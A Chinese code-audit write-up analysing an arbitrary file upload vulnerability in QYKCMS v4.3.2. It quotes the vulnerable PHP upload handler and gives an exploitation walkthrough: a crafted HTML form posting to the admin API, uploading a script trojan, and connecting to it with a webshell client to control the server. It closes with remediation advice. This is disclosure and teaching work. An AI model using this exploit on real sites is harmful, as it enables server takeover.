【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析

时间:2020-12-08 16:48:42

 

0x00 环境准备

QYKCMS官网:http://www.qykcms.com/

网站源码版本:QYKCMS_v4.3.2(企业站主题)

程序源码下载:http://bbs.qingyunke.com/thread-13.htm

测试网站首页:

 【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析

0x01 代码分析

1、漏洞文件位置:/admin_system/include/lib/upfile.php   第24-69行:

  1. switch($types){  
  2.     case 'template':  
  3.         if(!ispower($admin_group,'skin_upload'))ajaxreturn(1,'error4');  
  4.         $typename=strtolower(pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION));  
  5.         $filename=strtolower($_FILES['file']['name']);  
  6.         if(!in_array($typename,array('html','css','js','jpg','gif','png')))ajaxreturn(1,'error');  
  7.         $path=arg('path','all','url');  
  8.         $filepath='../'.setup_webfolder.$website['webid'].'/'.$path.'/'.$filename;  
  9.         $isup=false;  
  10. 10.         $path2=$filepath;  
  11. 11.         for($i=1;$i<=10000;$i++){  
  12. 12.             if(file_exists($path2)){  
  13. 13.                 $path2=preg_replace('/\.'.$typename.'$/','_'.$i.'.'.$typename.'',$filepath);  
  14. 14.             }else{  
  15. 15.                 $filepath=$path2;  
  16. 16.                 $isup=true;  
  17. 17.                 break;  
  18. 18.                 }  
  19. 19.             }  
  20. 20.         if($isup){  
  21. 21.             move_uploaded_file($_FILES['file']['tmp_name'],$filepath);  
  22. 22.             infoadminlog($website['webid'],$tcz['admin'],24,'上传模板文件:'.$path.'/'.$filename);  
  23. 23.             $res='http://'.$website['setup_weburl'].'/'.$website['upfolder'].setup_uptemp.'|'.$filename;  
  24. 24.         }else{  
  25. 25.             ajaxreturn(1,'error3'); //文件重名  
  26. 26.             }  
  27. 27.     break;  
  28. 28.     case 'none':  
  29. 29.         //$oldname=strtolower($_FILES['file']['name']);  
  30. 30.         $typename=strtolower(pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION));  
  31. 31.         $filename=date('dHis').'_'.randomkeys(6).'.'.$typename;  
  32. 32.         $path='../'.$website['upfolder'].setup_uptemp.$filename;  
  33. 33.         move_uploaded_file($_FILES['file']['tmp_name'],$path);  
  34. 34.         $res='http://'.$website['setup_weburl'].'/'.$website['upfolder'].setup_uptemp.'|'.$filename;  
  35. 35.     break;  
  36. 36.     case 'theme':  
  37. 37.         if(!ispower($admin_group,'super'))ajaxreturn(1,'error4');  
  38. 38.         $typename=strtolower(pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION));  
  39. 39.         if($typename!='zip')ajaxreturn(1,'error');  
  40. 40.         $dir='../'.$website['upfolder'].setup_uptemp;  
  41. 41.         $filename='qyk_theme_new.zip';  
  42. 42.         $path=$dir.$filename;  
  43. 43.         move_uploaded_file($_FILES['file']['tmp_name'],$path);  
  44. 44.         infoadminlog($website['webid'],$tcz['admin'],24,'上传主题安装包');  
  45. 45.         $res='http://'.$website['setup_weburl'].'/'.$website['upfolder'].setup_uptemp.'|'.$filename;  
  46. 46.     break;  

这段代码根据types的值进行操作,可以发现当$types=none的时候(注意看红色代码部分),获取文件名后缀,拼接成完整路径,然后将文件上传到服务器。

并没有对文件类型进行过滤,导致程序在实现上存在任意文件上传漏洞,攻击者可以通过上传脚本木马,控制服务器权限。

0x02 漏洞利用

1、构造Form表单:

  1. <form enctype="multipart/form-data" action="http://127.0.0.1/admin_system/api.php?admin=admin&key=15bc30cb5bfc1775c4733c9558fded91&log=upfile&types=none" method="post">  
  2. Upload a new file:<br>  
  3. <input type="file" name="file" size="50"><br>  
  4. <input type="submit" value="Upload">  
  5. </form>   

2、成功上传脚本木马,并回显上传路径

 【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析

3、去掉文件名称的第一个“|”符,然后访问脚本木马地址

 【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析

4、通过菜刀连接,成功控制网站服务器

 【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析

0x03 修复建议

1、通过白名单限制上传文件后缀

2、禁止上传目录脚本执行权限。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析